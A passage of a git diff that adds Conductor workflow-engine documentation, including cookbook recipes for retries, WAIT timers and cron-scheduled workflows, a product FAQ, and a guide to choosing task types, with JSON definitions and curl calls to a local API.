+```json +{ + "name": "send_webhook", + "ownerEmail": "platform@example.com", + "retryCount": 5, + "retryLogic": "EXPONENTIAL_BACKOFF", + "retryDelaySeconds": 1, + "maxRetryDelaySeconds": 30, + "backoffJitterMs": 5000, + "responseTimeoutSeconds": 10, + "concurrentExecLimit": 200 +} +``` + +With `backoffJitterMs: 5000`, 500 tasks that all fail at `t=0` will retry at uniformly random times between `t=1s` and `t=6s` — spreading the retry load across 5 seconds instead of hitting the service in a single burst. + +--- + +### Choosing the right combination + +| Scenario | Recommended config | +| :--- | :--- | +| External API with rate limits | `EXPONENTIAL_BACKOFF` + `maxRetryDelaySeconds` + `backoffJitterMs` | +| Long-running processing job | `responseTimeoutSeconds` (short) + heartbeats from worker + `timeoutSeconds` (long) | +| SLA-bounded task | `totalTimeoutSeconds` + `FIXED` or `EXPONENTIAL_BACKOFF` | +| High fan-out with many concurrent failures | `backoffJitterMs` + `concurrentExecLimit` | +| Non-retryable error | Return `FAILED_WITH_TERMINAL_ERROR` from the worker | + +See the [Task Definition reference](../../documentation/configuration/taskdef.md) for all available parameters. diff --git a/docs/devguide/cookbook/wait-and-timers.md b/docs/devguide/cookbook/wait-and-timers.md new file mode 100644 index 0000000..0321dbb --- /dev/null +++ b/docs/devguide/cookbook/wait-and-timers.md @@ -0,0 +1,152 @@ +--- +description: "Conductor cookbook — wait and timer pattern recipes for fixed delays, scheduled execution, external signals, and human-in-the-loop approvals." +--- + +# Wait and timer patterns + +### Wait for a fixed delay + +Introduce a delay between workflow steps — useful for rate limiting, cool-down periods, or retry backoff. + +```json +{ + "name": "delayed_notification", + "version": 1, + "schemaVersion": 2, + "tasks": [ + { + "name": "process_event", + "taskReferenceName": "process", + "type": "SIMPLE" + }, + { + "name": "wait_before_retry", + "taskReferenceName": "cooldown", + "type": "WAIT", + "inputParameters": { + "duration": "5 minutes" + } + }, + { + "name": "send_notification", + "taskReferenceName": "notify", + "type": "HTTP", + "inputParameters": { + "uri": "https://api.example.com/notify", + "method": "POST", + "body": {"eventId": "${process.output.eventId}"} + } + } + ] +} +``` + +The `duration` field supports human-readable formats: `30 seconds`, `5 minutes`, `2 hours`, `1 days`, or short forms like `30s`, `5m`, `2h`, `1d`. You can also combine them: `2 hours 30 minutes`. + +--- + +### Wait until a specific time + +Schedule workflow continuation for a specific date/time — useful for scheduled releases, SLA deadlines, or business-hours processing. + +```json +{ + "name": "scheduled_report", + "version": 1, + "schemaVersion": 2, + "inputParameters": ["reportDate"], + "tasks": [ + { + "name": "prepare_report", + "taskReferenceName": "prepare", + "type": "SIMPLE" + }, + { + "name": "wait_until_publish_time", + "taskReferenceName": "schedule_wait", + "type": "WAIT", + "inputParameters": { + "until": "${workflow.input.reportDate}" + } + }, + { + "name": "publish_report", + "taskReferenceName": "publish", + "type": "HTTP", + "inputParameters": { + "uri": "https://api.example.com/reports/publish", + "method": "POST", + "body": {"reportId": "${prepare.output.reportId}"} + } + } + ] +} +``` + +The `until` field supports formats: `yyyy-MM-dd HH:mm z` (e.g., `2025-06-15 09:00 GMT+00:00`), `yyyy-MM-dd HH:mm`, or `yyyy-MM-dd`. + +**Register and run:** + +```shell +curl -X POST 'http://localhost:8080/api/metadata/workflow' \ + -H 'Content-Type: application/json' \ + -d @scheduled_report.json + +curl -X POST 'http://localhost:8080/api/workflow/scheduled_report' \ + -H 'Content-Type: application/json' \ + -d '{"reportDate": "2025-06-15 09:00 GMT+00:00"}' +``` + +--- + +### Wait for an external signal + +Pause a workflow until an external system (or human) completes the task via API — useful for approvals, manual QA, or third-party callbacks. + +```json +{ + "name": "order_with_manual_approval", + "version": 1, + "schemaVersion": 2, + "inputParameters": ["orderId", "amount"], + "tasks": [ + { + "name": "validate_order", + "taskReferenceName": "validate", + "type": "HTTP", + "inputParameters": { + "uri": "https://api.example.com/orders/${workflow.input.orderId}/validate", + "method": "GET" + } + }, + { + "name": "wait_for_approval", + "taskReferenceName": "approval", + "type": "WAIT" + }, + { + "name": "fulfill_order", + "taskReferenceName": "fulfill", + "type": "HTTP", + "inputParameters": { + "uri": "https://api.example.com/orders/${workflow.input.orderId}/fulfill", + "method": "POST", + "body": { + "approvedBy": "${approval.output.approvedBy}" + } + } + } + ] +} +``` + +Complete the WAIT task externally (e.g., from a UI or webhook): + +```shell +# Complete the wait task and resume the workflow +curl -X POST 'http://localhost:8080/api/tasks/{workflowId}/approval/COMPLETED/sync' \ + -H 'Content-Type: application/json' \ + -d '{"approvedBy": "manager@example.com"}' +``` + +The output data you pass when completing the task is available in subsequent tasks via `${approval.output.approvedBy}`. diff --git a/docs/devguide/cookbook/workflow-scheduling.md b/docs/devguide/cookbook/workflow-scheduling.md new file mode 100644 index 0000000..5f323e1 --- /dev/null +++ b/docs/devguide/cookbook/workflow-scheduling.md @@ -0,0 +1,364 @@ +--- +description: "Conductor cookbook — scheduled workflow recipes for cron-triggered execution, catchup after downtime, bounded time windows, parallel scheduled tasks, input parameterization, and concurrent execution handling." +--- + +# Scheduled workflow recipes + +### Run a workflow every minute + +The simplest schedule — trigger a workflow on a fixed interval. + +```json +{ + "name": "every-minute-demo-schedule", + "cronExpression": "0 * * * * *", + "zoneId": "UTC", + "startWorkflowRequest": { + "name": "daily_report_workflow", + "version": 1, + "correlationId": "demo-${scheduledTime}" + }, + "runCatchupScheduleInstances": false, + "paused": false +} +``` + +The workflow: + +```json +{ + "name": "daily_report_workflow", + "version": 1, + "schemaVersion": 2, + "tasks": [ + { + "name": "fetch_report_data", + "taskReferenceName": "fetch_report_data_ref", + "type": "HTTP", + "inputParameters": { + "http_request": { + "uri": "https://jsonplaceholder.typicode.com/todos?userId=1", + "method": "GET", + "connectionTimeOut": 3000, + "readTimeOut": 3000 + } + } + } + ], + "outputParameters": { + "statusCode": "${fetch_report_data_ref.output.response.statusCode}", + "itemCount": "${fetch_report_data_ref.output.response.body.length()}" + }, + "timeoutPolicy": "TIME_OUT_WF", + "timeoutSeconds": 120 +} +``` + +**Register and schedule:** + +```shell +# Register workflow +curl -X PUT 'http://localhost:8080/api/metadata/workflow' \ + -H 'Content-Type: application/json' \ + -d @daily-report-workflow.json + +# Create schedule +curl -X POST 'http://localhost:8080/api/scheduler/schedules' \ + -H 'Content-Type: application/json' \ + -d @every-minute-schedule.json + +# Watch executions +curl 'http://localhost:8080/api/scheduler/search/executions?freeText=every-minute-demo-schedule&size=10' +``` + +--- + +### Weekday business-hours schedule + +Trigger a report workflow at 9 AM Eastern on weekdays only. + +```json +{ + "name": "daily-report-schedule", + "cronExpression": "0 0 9 * * MON-FRI", + "zoneId": "America/New_York", + "startWorkflowRequest": { + "name": "daily_report_workflow", + "version": 1, + "correlationId": "daily-report-${scheduledTime}" + }, + "runCatchupScheduleInstances": false, + "paused": false +} +``` + +The `zoneId` ensures the schedule respects daylight saving time transitions. + +--- + +### Catch up missed executions after downtime + +When the scheduler restarts after being offline, `runCatchupScheduleInstances: true` fires all missed cron slots. Use this for workflows where every execution matters (billing, compliance, ETL). + +```json +{ + "name": "catchup-demo-schedule", + "cronExpression": "0 * * * * *", + "zoneId": "UTC", + "runCatchupScheduleInstances": true, + "paused": false, + "startWorkflowRequest": { + "name": "catchup_demo_workflow", + "version": 1, + "input": {} + } +} +``` + +If the scheduler was down for 5 minutes, it will fire 5 workflow executions on restart — one per missed minute. + +!!! warning + Catchup executions fire in rapid succession. Make sure your workflow and downstream systems can handle the burst. + +--- + +### Bounded schedule with a time window + +Restrict a schedule to fire only within a time window using `scheduleStartTime` and `scheduleEndTime` (epoch milliseconds). + +```shell +# Compute a 5-minute window starting now +START_MS=$(date +%s000) +END_MS=$(( $(date +%s) + 300 ))000 + +curl -X POST 'http://localhost:8080/api/scheduler/schedules' \ + -H 'Content-Type: application/json' \ + -d "{ + \"name\": \"bounded-demo-schedule\", + \"cronExpression\": \"0 * * * * *\", + \"zoneId\": \"UTC\", + \"scheduleStartTime\": $START_MS, + \"scheduleEndTime\": $END_MS, + \"startWorkflowRequest\": { + \"name\": \"bounded_demo_workflow\", + \"version\": 1, + \"input\": {} + } + }" +``` + +The schedule fires every minute but only within the 5-minute window, then stops automatically. + +--- + +### Pass input parameters to scheduled workflows + +The scheduler automatically injects `_scheduledTime` and `_executedTime` into every execution. You can also provide static input that gets merged: + +Schedule definition: + +```json +{ + "name": "input-param-demo-schedule", + "cronExpression": "0 * * * * *", + "zoneId": "UTC", + "startWorkflowRequest": { + "name": "input_param_demo_workflow", + "version": 1, + "input": { + "reportOwner": "platform-team", + "alertThreshold": 100 + } + } +} +``` + +Workflow that uses the injected timestamps to compute a 24-hour report window: + +```json +{ + "name": "input_param_demo_workflow", + "version": 1, + "schemaVersion": 2, + "tasks": [ + { + "name": "compute_report_window", + "taskReferenceName": "compute_report_window", + "type": "INLINE", + "inputParameters": { + "scheduledTime": "${workflow.input._scheduledTime}", + "executionTime": "${workflow.input._executedTime}", + "evaluatorType": "javascript", + "expression": "function toISO(ms) { return new Date(ms).toISOString(); } ({ reportWindowStart: toISO($.scheduledTime - 86400000), reportWindowEnd: toISO($.scheduledTime), scheduledAt: toISO($.scheduledTime), triggeredAt: toISO($.executionTime) })" + } + } + ], + "outputParameters": { + "reportWindowStart": "${compute_report_window.output.result.reportWindowStart}", + "reportWindowEnd": "${compute_report_window.output.result.reportWindowEnd}", + "scheduledAt": "${compute_report_window.output.result.scheduledAt}", + "triggeredAt": "${compute_report_window.output.result.triggeredAt}" + }, + "timeoutPolicy": "ALERT_ONLY", + "timeoutSeconds": 30 +} +``` + +--- + +### Schedule a parallel (FORK/JOIN) workflow + +A scheduled workflow can use any Conductor construct. This example fetches two timezones in parallel using FORK_JOIN: + +```json +{ + "name": "multistep_demo_workflow", + "version": 3, + "schemaVersion": 2, + "tasks": [ + { + "name": "fork_parallel_calls", + "taskReferenceName": "fork_parallel_calls", + "type": "FORK_JOIN", + "forkTasks": [ + [ + { + "name": "fetch_utc_time", + "taskReferenceName": "fetch_utc_time", + "type": "HTTP", + "inputParameters": { + "http_request": { + "uri": "https://timeapi.io/api/time/current/zone?timeZone=UTC", + "method": "GET" + } + } + } + ], + [ + { + "name": "fetch_ny_time", + "taskReferenceName": "fetch_ny_time", + "type": "HTTP", + "inputParameters": { + "http_request": { + "uri": "https://timeapi.io/api/time/current/zone?timeZone=America/New_York", + "method": "GET" + } + } + } + ] + ] + }, + { + "name": "join_results", + "taskReferenceName": "join_results", + "type": "JOIN", + "joinOn": ["fetch_utc_time", "fetch_ny_time"] + } + ], + "outputParameters": { + "utcTime": "${fetch_utc_time.output.response.body.dateTime}", + "newYorkTime": "${fetch_ny_time.output.response.body.dateTime}" + }, + "timeoutPolicy": "ALERT_ONLY", + "timeoutSeconds": 60 +} +``` + +Schedule it: + +```json +{ + "name": "multistep-demo-schedule", + "cronExpression": "0 * * * * *", + "zoneId": "UTC", + "startWorkflowRequest": { + "name": "multistep_demo_workflow", + "version": 3 + } +} +``` + +--- + +### Handle concurrent executions + +The scheduler fires on every cron tick regardless of whether the previous execution has completed. If a workflow takes 90 seconds and the schedule fires every 60 seconds, executions will overlap: + +```json +{ + "name": "concurrent_demo_workflow", + "version": 1, + "schemaVersion": 2, + "tasks": [ + { + "name": "fetch_start_time", + "taskReferenceName": "fetch_start_time", + "type": "HTTP", + "inputParameters": { + "http_request": { + "uri": "https://timeapi.io/api/time/current/zone?timeZone=UTC", + "method": "GET" + } + } + }, + { + "name": "wait_90s", + "taskReferenceName": "wait_90s", + "type": "WAIT", + "inputParameters": { "duration": "90s" } + }, + { + "name": "fetch_end_time", + "taskReferenceName": "fetch_end_time", + "type": "HTTP", + "inputParameters": { + "http_request": { + "uri": "https://timeapi.io/api/time/current/zone?timeZone=UTC", + "method": "GET" + } + } + } + ], + "outputParameters": { + "startedAt": "${fetch_start_time.output.response.body.dateTime}", + "finishedAt": "${fetch_end_time.output.response.body.dateTime}" + }, + "timeoutPolicy": "ALERT_ONLY", + "timeoutSeconds": 300 +} +``` + +!!! note "Design for overlap" + If concurrent runs are a problem, either increase the cron interval so it exceeds the workflow duration, or make your workflow idempotent so overlapping runs don't produce duplicate side effects. + +--- + +### Manage a schedule lifecycle + +Complete lifecycle in one session — create, verify, pause, resume, delete: + +```shell +# Create +curl -X POST 'http://localhost:8080/api/scheduler/schedules' \ + -H 'Content-Type: application/json' \ + -d @daily-report-schedule.json + +# Preview next 5 execution times +curl 'http://localhost:8080/api/scheduler/nextFewSchedules?cronExpression=0+0+9+*+*+MON-FRI&limit=5' + +# Check execution history +curl 'http://localhost:8080/api/scheduler/search/executions?freeText=daily-report-schedule&size=10' + +# Pause +curl -X PUT 'http://localhost:8080/api/scheduler/schedules/daily-report-schedule/pause?reason=maintenance' + +# Verify paused state +curl 'http://localhost:8080/api/scheduler/schedules/daily-report-schedule' + +# Resume +curl -X PUT 'http://localhost:8080/api/scheduler/schedules/daily-report-schedule/resume' + +# Delete +curl -X DELETE 'http://localhost:8080/api/scheduler/schedules/daily-report-schedule' +``` diff --git a/docs/devguide/faq.md b/docs/devguide/faq.md new file mode 100644 index 0000000..a74c101 --- /dev/null +++ b/docs/devguide/faq.md @@ -0,0 +1,199 @@ +--- +description: "Frequently asked questions about Conductor — open source workflow engine, self-hosted deployment, AI agent orchestration, LLM orchestration, workflow automation, durable execution, microservice orchestration, saga pattern, scaling, and how Conductor compares to Temporal, Airflow, and Step Functions." +--- + +# Frequently Asked Questions + +## General + +### Is Conductor open source? + +Yes. Conductor is a fully open source workflow engine, released under the Apache 2.0 license. You can self-host it on your own infrastructure — there is no vendor lock-in, no proprietary runtime, and no cloud dependency. The self-hosted workflow engine supports 5 persistence backends, 6 message brokers, and runs anywhere Docker or a JVM runs. + +### Is this the same as Netflix Conductor? + +Yes. Conductor OSS is the continuation of the original Netflix Conductor repository after Netflix contributed the project to the open-source foundation. + +### Is Netflix Conductor abandoned? + +No. The original Netflix repository has transitioned to Conductor OSS, which is the new home for the project. Active development and maintenance continues here. + +### Is this project actively maintained? + +Yes. Orkes is the primary maintainer of this repository and offers an enterprise SaaS platform for Conductor across all major cloud providers. + +### Is Orkes Conductor compatible with Conductor OSS? + +100% compatible. Orkes Conductor is built on top of Conductor OSS, ensuring full compatibility between the open-source version and the enterprise offering. + +### Are workflows always asynchronous? + +No. While Conductor excels at asynchronous orchestration, it also supports synchronous workflow execution when immediate results are required. + +### Do I need to use a Conductor-specific framework? + +Not at all. Conductor is language and framework agnostic. Use your preferred language and framework — SDKs provide native integration for Java, Python, JavaScript, Go, C#, and more. + +### Is Conductor a low-code/no-code platform? + +No. Conductor is designed for developers who write code. While workflows can be defined in JSON, the power comes from building workers and tasks in your preferred programming language. + +### Can Conductor handle complex workflows? + +Yes. Conductor supports advanced patterns including nested loops, dynamic branching, sub-workflows, and workflows with thousands of tasks. + +## How does Conductor compare to other workflow engines? + +Conductor combines durable execution, 14+ native LLM providers, JSON-native workflow definitions, 7+ language SDKs, and battle-tested scale (Netflix, Tesla, LinkedIn, JP Morgan). It's the only open source workflow engine with native AI/LLM task types, MCP integration, and built-in vector database support. + +### Isn't JSON too limited for complex workflows? + +No — JSON makes workflows *more* capable, not less. A JSON workflow definition is pure orchestration: it describes what runs, in what order, with what inputs. It cannot open connections, mutate state, or produce side effects. This means every execution is deterministic by construction — given the same inputs, the same task graph executes every time. That is why replay, restart, and retry work unconditionally. + +Code-based workflow engines embed orchestration logic alongside business logic, which means your workflow code can introduce non-determinism (system clocks, random values, uncontrolled I/O). These engines must impose restrictions on what your code is allowed to do — and bugs from violating those restrictions are subtle and hard to debug. + +Conductor's dynamic primitives — [DYNAMIC tasks](../documentation/configuration/workflowdef/operators/dynamic-task.md), [DYNAMIC_FORK](../documentation/configuration/workflowdef/operators/dynamic-fork-task.md), and [dynamic sub-workflows](../documentation/configuration/workflowdef/operators/sub-workflow-task.md) — provide more runtime flexibility than code-based definitions. An LLM can generate a complete workflow definition as JSON and Conductor executes it immediately, with full durability and observability. No code generation, no compilation, no deployment. See [JSON + Code Native](../architecture/json-native.md) for the full picture. + +### How is Conductor different from Temporal? + +Both are durable execution engines, but with fundamentally different approaches. Conductor's JSON-native definitions separate orchestration from implementation, making workflows deterministic by construction — no side-effect restrictions to remember, no non-determinism bugs to debug. Temporal embeds orchestration in code, which requires developers to avoid non-deterministic operations (system clocks, random values, uncontrolled I/O) or risk subtle replay failures. + +Conductor is fully open source (Apache 2.0) with no proprietary server components. It provides native LLM orchestration for 14+ providers, MCP tool calling, and vector database support out of the box — capabilities Temporal does not offer. Conductor's JSON definitions can be generated and modified at runtime by LLMs or APIs without a compile/deploy cycle. + +### How is Conductor different from AWS Step Functions? + +Step Functions is a proprietary, cloud-locked service. Conductor is an open source, self-hosted workflow engine you can run on any infrastructure. Conductor supports 7+ language SDKs, 5 persistence backends, and provides native AI agent orchestration — none of which Step Functions offers. If you need an open source Step Functions alternative with no cloud lock-in, Conductor is a strong fit. + +### How is Conductor different from Airflow? + +Airflow is a DAG-based batch scheduler designed for data pipelines. Conductor is a real-time workflow orchestration engine designed for microservice orchestration, event-driven workflows, and AI agent orchestration. Conductor provides durable execution with sub-second task scheduling, while Airflow is optimized for scheduled batch jobs. If you need a real-time workflow engine rather than a job scheduler, Conductor is the better choice. + +### Can I use Conductor for workflow automation? + +Yes. Conductor is a developer-first workflow automation platform — not a low-code drag-and-drop tool, but a code-first workflow engine where you define workflows as code or JSON and implement task workers in any language. It is well suited for automating business processes, data pipelines, and multi-service workflows that need durable execution and full observability. + +## Can Conductor orchestrate AI agents? + +Yes. Conductor provides native AI agent orchestration with LLM tasks (chat completion, text completion), MCP tool calling and function calling (LIST_MCP_TOOLS, CALL_MCP_TOOL), human-in-the-loop approval (HUMAN task), and dynamic workflows that agents can generate at runtime. Every agent built on Conductor is a durable agent — LLM orchestration runs with the same durable execution guarantees as any other workflow, so agents survive crashes, retries, and infrastructure failures without losing progress. + +## Does Conductor support MCP (Model Context Protocol)? + +Yes. LIST_MCP_TOOLS discovers available tools from any MCP server, and CALL_MCP_TOOL executes them. Workflows can also be exposed as MCP tools via the MCP Gateway. + +## What LLM providers does Conductor support? + +14+ providers natively: Anthropic (Claude), OpenAI (GPT), Azure OpenAI, Google Gemini, AWS Bedrock, Mistral, Cohere, HuggingFace, Ollama, Perplexity, Grok, StabilityAI, and more. All accessible as workflow system tasks with built-in function calling and tool use via MCP integration. + +## Does Conductor support vector databases and RAG? + +Yes. Built-in support for Pinecone, pgvector, and MongoDB Atlas Vector Search. System tasks handle embedding generation, storage, indexing, and semantic search — enabling RAG pipelines as standard workflows. + +## Is Conductor a durable execution engine? + +Yes. Every workflow execution is persisted at each step. If a task fails, it's retried with configurable backoff. If a worker crashes, the task is rescheduled. If the server restarts, execution resumes exactly where it left off. See [Durable Execution](../architecture/durable-execution.md). + +## Can Conductor handle millions of workflows? + +Yes. Originally built at Netflix to handle massive scale, Conductor scales horizontally across multiple server instances. Workers scale independently, and the server supports millions of concurrent workflow executions across multiple persistence backends. This horizontal scaling architecture makes Conductor suitable for production workflow deployments at any scale. + +## Does Conductor support the saga pattern? + +Yes. Configure a `failureWorkflow` that runs compensation logic when the main workflow fails. Combined with task-level retries and timeout policies, Conductor provides full saga pattern support for distributed transactions. See [Handling Errors](how-tos/Workflows/handling-errors.md). + +## Can I create workflows at runtime? + +Yes. Workflow definitions are JSON and can be created, modified, and started dynamically via the API or SDKs. LLMs can generate workflow definitions that Conductor executes immediately without pre-registration. + +## Does Conductor support human-in-the-loop? + +Yes. The HUMAN task type pauses workflow execution until an external signal (approval, rejection, or data input) is received via API. The pause survives server restarts and deploys. + +## What persistence backends are supported? + +Redis, PostgreSQL, MySQL, Cassandra, and SQLite. Choose based on your scale and operational requirements. + +## What message brokers are supported? + +Kafka, NATS, NATS Streaming, AMQP (RabbitMQ), SQS, and Conductor's internal queue. Use them for event-driven workflows and external system integration. + +## How do you schedule a task to be put in the queue after some time (e.g. 1 hour, 1 day etc.) + +After polling for the task update the status of the task to `IN_PROGRESS` and set the `callbackAfterSeconds` value to the desired time. The task will remain in the queue until the specified second before worker polling for it will receive it again. + +If there is a timeout set for the task, and the `callbackAfterSeconds` exceeds the timeout value, it will result in task being TIMED_OUT. + +## How long can a workflow be in running state? Can I have a workflow that keeps running for days or months? + +Yes. As long as the timeouts on the tasks are set to handle long running workflows, it will stay in running state. + +## My workflow fails to start with missing task error + +Ensure all the tasks are registered via `/metadata/taskdefs` APIs. Add any missing task definition (as reported in the error) and try again. + +## Where does my worker run? How does conductor run my tasks? + +Conductor does not run the workers. When a task is scheduled, it is put into the queue maintained by Conductor. Workers are required to poll for tasks using `/tasks/poll` API at periodic interval, execute the business logic for the task and report back the results using `POST {{ api_prefix }}/tasks` API call. +Conductor, however will run [system tasks](../documentation/configuration/workflowdef/systemtasks/index.md) on the Conductor server. + +## How can I schedule workflows to run at a specific time? + +Conductor itself does not provide any scheduling mechanism. But there is a community project [_Schedule Conductor Workflows_](https://github.com/jas34/scheduledwf) which provides workflow scheduling capability as a pluggable module as well as workflow server. +Other way is you can use any of the available scheduling systems to make REST calls to Conductor to start a workflow. Alternatively, publish a message to a supported eventing system like SQS to trigger a workflow. +More details about [eventing](../documentation/configuration/eventhandlers.md). + +## Can I use Conductor with Ruby / Go / Python / JavaScript / C# / Rust? + +Yes. Workers can be written in any language as long as they can poll and update the task results via HTTP endpoints. Conductor provides official and community SDKs for many languages: + +- **Java** — [conductor-oss/java-sdk](https://github.com/conductor-oss/java-sdk) +- **Python** — [conductor-oss/python-sdk](https://github.com/conductor-oss/python-sdk) +- **Go** — [conductor-oss/go-sdk](https://github.com/conductor-oss/go-sdk) +- **JavaScript** — [conductor-oss/javascript-sdk](https://github.com/conductor-oss/javascript-sdk) +- **C#** — [conductor-oss/csharp-sdk](https://github.com/conductor-oss/csharp-sdk) +- **Ruby** — [conductor-oss/ruby-sdk](https://github.com/conductor-oss/ruby-sdk) +- **Rust** — [conductor-oss/rust-sdk](https://github.com/conductor-oss/rust-sdk) + +## The same task is scheduled twice, both showing "attempt 0". What causes this? + +This is almost always caused by running multiple Conductor server instances without distributed locking enabled. When locking is off, two server instances can each pick up the same workflow and independently schedule the same task — producing two identical entries, both at attempt 0, with neither aware of the other. + +**To fix it**, enable distributed locking so only one server processes a given workflow at a time: + +```properties +conductor.app.workflowExecutionLockEnabled=true +conductor.workflow-execution-lock.type=redis # or zookeeper +``` + +See [Locking](running/deploy.md#locking) for the full configuration, including Redis and Zookeeper options. + +If you are running a single server instance, the cause is more likely the sweeper and an event or callback both triggering a `decide` on the same workflow simultaneously. The locking setting above resolves this case as well. + +## My workflow is running and the task is SCHEDULED but it is not being processed. + +Make sure that the worker is actively polling for this task. Navigate to the `Task Queues` tab on the Conductor UI and select your task name in the search box. Ensure that `Last Poll Time` for this task is current. + +In Conductor 3.x, ```conductor.redis.availabilityZone``` defaults to ```us-east-1c```. Ensure that this matches where your workers are, and that it also matches```conductor.redis.hosts```. + +## How do I configure a notification when my workflow completes or fails? + +When a workflow fails, you can configure a "failure workflow" to run using the```failureWorkflow``` parameter. By default, three parameters are passed: + +* reason +* workflowId: use this to pull the details of the failed workflow. +* failureStatus + +You can also use the Workflow Status Listener: + +* Set the workflowStatusListenerEnabled field in your workflow definition to true which enables [notifications](../documentation/configuration/workflowdef/index.md#workflow-status-listener). +* Add a custom implementation of the Workflow Status Listener. Refer to the [Workflow Status Listener extension guide](../documentation/advanced/extend.md#workflow-status-listener). +* This notification can be implemented in such a way as to either send a notification to an external system or to send an event on the conductor queue to complete/fail another task in another workflow as described in the [event handlers documentation](../documentation/configuration/eventhandlers.md). + +Refer to this [documentation](../documentation/configuration/workflowdef/index.md#workflow-status-listener) to extend conductor to send out events/notifications upon workflow completion/failure. + +## I want my worker to stop polling and executing tasks when the process is being terminated. (Java client) + +In a `PreDestroy` block within your application, call the `shutdown()` method on the `TaskRunnerConfigurer` instance that you have created to facilitate a graceful shutdown of your worker in case the process is being terminated. + +## Can I exit early from a task without executing the configured automatic retries in the task definition? + +Set the status to `FAILED_WITH_TERMINAL_ERROR` in the TaskResult object within your worker. This would mark the task as FAILED and fail the workflow without retrying the task as a fail-fast mechanism. diff --git a/docs/devguide/how-tos/Tasks/choosing-tasks.md b/docs/devguide/how-tos/Tasks/choosing-tasks.md new file mode 100644 index 0000000..e1b99b6 --- /dev/null +++ b/docs/devguide/how-tos/Tasks/choosing-tasks.md @@ -0,0 +1,108 @@ +--- +description: "Choose the right task type for your Conductor workflow — system tasks, operators, and worker tasks for microservice orchestration and workflow automation." +--- + +# Choosing Tasks + +Tasks are the building blocks of Conductor workflows. In this guide, familiarise yourself with the tasks available in Conductor OSS and the differences between each of them. + +## Built-in tasks + +Built-in tasks allow you to easily run common tasks on the Conductor server without needing to build and deploy your own task workers. Here is an introduction of the built-in tasks available in Conductor: + +* **[System tasks](../../../documentation/configuration/workflowdef/systemtasks/index.md)** common tasks that allow you to get started quickly without needing custom workers. +* **[Operators](../../../documentation/configuration/workflowdef/operators/index.md)** enable you to declaratively design the workflow's control flow and logic with minimal code required. + +### System tasks + +Here are the system tasks available in Conductor OSS for common use: + +| System Task | Description | +| :-------------------- | :----------------------------------- | +| [Event](../../../documentation/configuration/workflowdef/systemtasks/event-task.md) | Publish events to an external eventing system (AMQP, SQS, Kafka, and so on). | +| [HTTP](../../../documentation/configuration/workflowdef/systemtasks/http-task.md) | Call an API or HTTP endpoint. | +| [Human](../../../documentation/configuration/workflowdef/systemtasks/human-task.md) | Wait for an external signal. | +| [Inline](../../../documentation/configuration/workflowdef/systemtasks/inline-task.md) | Execute lightweight JavaScript code inline. | +| [No Op](../../../documentation/configuration/workflowdef/systemtasks/noop-task.md) | Do nothing. | +| [JSON JQ Transform](../../../documentation/configuration/workflowdef/systemtasks/json-jq-transform-task.md) | Clean or transform JSON data using jq. | +| [Kafka Publish](../../../documentation/configuration/workflowdef/systemtasks/kafka-publish-task.md) | Publish messages to Kafka. | +| [Wait](../../../documentation/configuration/workflowdef/systemtasks/wait-task.md) | Wait until a set time or duration has passed. | + + +### Operators + +Here are the operators available in Conductor OSS for managing the flow of execution: + +| Operator | Description | +| -------------------------- | ----------------------------------------- | +| [Do While](../../../documentation/configuration/workflowdef/operators/do-while-task.md) | Execute tasks repeatedly, like a _do…while…_ statement. | +| [Dynamic](../../../documentation/configuration/workflowdef/operators/dynamic-task.md) | Execute a task dynamically, like a function pointer. | +| [Dynamic Fork](../../../documentation/configuration/workflowdef/operators/dynamic-fork-task.md) | Execute a dynamic number of tasks in parallel. | +| [Fork](../../../documentation/configuration/workflowdef/operators/fork-task.md) | Execute a static number of tasks in parallel. | +| [Join](../../../documentation/configuration/workflowdef/operators/join-task.md) | Join the forks after a Fork or Dynamic Fork before proceeding to the next task. | +| [Set Variable](../../../documentation/configuration/workflowdef/operators/set-variable-task.md) | Create or update workflow variables. | +| [Start Workflow](../../../documentation/configuration/workflowdef/operators/start-workflow-task.md) | Asynchronously start another workflow, like an entry point. | +| [Sub Workflow](../../../documentation/configuration/workflowdef/operators/sub-workflow-task.md) | Synchronously start another workflow, like a subroutine. | +| [Switch](../../../documentation/configuration/workflowdef/operators/switch-task.md) | Execute tasks conditionally, like an _if…else…_ statement. | +| [Terminate](../../../documentation/configuration/workflowdef/operators/terminate-task.md) | Terminate the current workflow, like a _return_ statement. | + +## Custom tasks + +If you need to implement custom logic beyond the scope of Conductor's system tasks, you can use Worker (`SIMPLE`) tasks instead. Unlike a built-in task, a Worker task requires setting up a worker outside the Conductor environment that polls for and executes the task. + +## Task comparison + +To help you decide on which tasks to use, here is a detailed comparison of similar tasks available in Conductor. + +### Inline vs Worker tasks + +The [Inline task](../../../documentation/configuration/workflowdef/systemtasks/inline-task.md) is used to execute custom JavaScript code directly within the workflow. It’s ideal for lightweight operations like **simple data transformations, conditional checks, or small calculations**. Because the code executes within the Conductor JVM, Inline tasks benefit from low latency, no network overhead, and easier debugging. However, it also has limitations on using other languages, custom libraries, frameworks, or stacks. + + +The Worker task is handled by external task workers that execute a custom function or service +is an external custom function or service that performs a specific task in a workflow. Written in any language of choice (Python, Java, etc), it can execute **complex business logic, custom algorithms, or long-running operations**. Worker tasks run outside the Conductor server, meaning they require additional infrastructure set-up and logging mechanisms. + +### Event vs Kafka Publish tasks + +If you only need to publish messages to a Kafka topic for external services to use, the [Kafka Publish](../../../documentation/configuration/workflowdef/systemtasks/kafka-publish-task.md) task is simpler to set up. + +In contrast, the [Event](../../../documentation/configuration/workflowdef/systemtasks/event-task.md) task supports more involved set-ups, such as using events to start a Conductor workflow, or having Conductor consume messages. It also supports a wider range of event brokers across AMQP, NATS, SQS, Kafka, and Conductor's own internal queue. + + +### Wait vs Human tasks + +The [Wait](../../../documentation/configuration/workflowdef/systemtasks/wait-task.md) task and [Human](../../../documentation/configuration/workflowdef/systemtasks/human-task.md) task both support waiting until a specific condition is met. Use the Wait task for cases when the workflow needs to wait for specific wait duration or timestamp, and use the Human task when the workflow needs to wait for an external trigger. + +### Start Workflow vs Sub Workflow tasks + +Both [Start Workflow](../../../documentation/configuration/workflowdef/operators/start-workflow-task.md) and [Sub Workflow](../../../documentation/configuration/workflowdef/operators/sub-workflow-task.md) tasks are useful for starting another workflow within a workflow. However, the Start Workflow task starts another workflow and proceeds to the next task without waiting for the started workflow to complete, while the Sub Workflow task will wait for the subworkflow to reach terminal state before proceeding to the next task. + +The Sub Workflow task provides a tighter coupling between the parent workflow and the subworkflow. This is useful for cases when you need to associate workflow progress and states, or if you need to pass the output of the subworkflow back into the parent workflow. + + +### Fork vs Dynamic Fork tasks + +Both [Fork](../../../documentation/configuration/workflowdef/operators/fork-task.md) and [Dynamic Fork](../../../documentation/configuration/workflowdef/operators/dynamic-fork-task.md) 